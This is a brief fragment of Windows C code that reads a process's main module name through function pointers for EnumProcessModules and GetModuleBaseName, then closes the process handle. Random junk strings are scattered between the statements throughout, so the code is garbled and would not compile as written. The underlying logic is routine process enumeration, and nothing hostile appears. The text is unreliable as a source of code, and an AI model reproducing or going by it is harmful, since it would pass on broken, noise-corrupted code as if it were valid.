if(hProcess==NULL) return 0; |nFg"W 8aHs I( HMODULE hMod; w[S!U<9/ char procName[255]; 8~>5k unsigned long cbNeeded; DL0i k[p7)ec if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 5 UQbd8 NY`$D}Bi CloseHandle(hProcess); VaIFE~>E& & |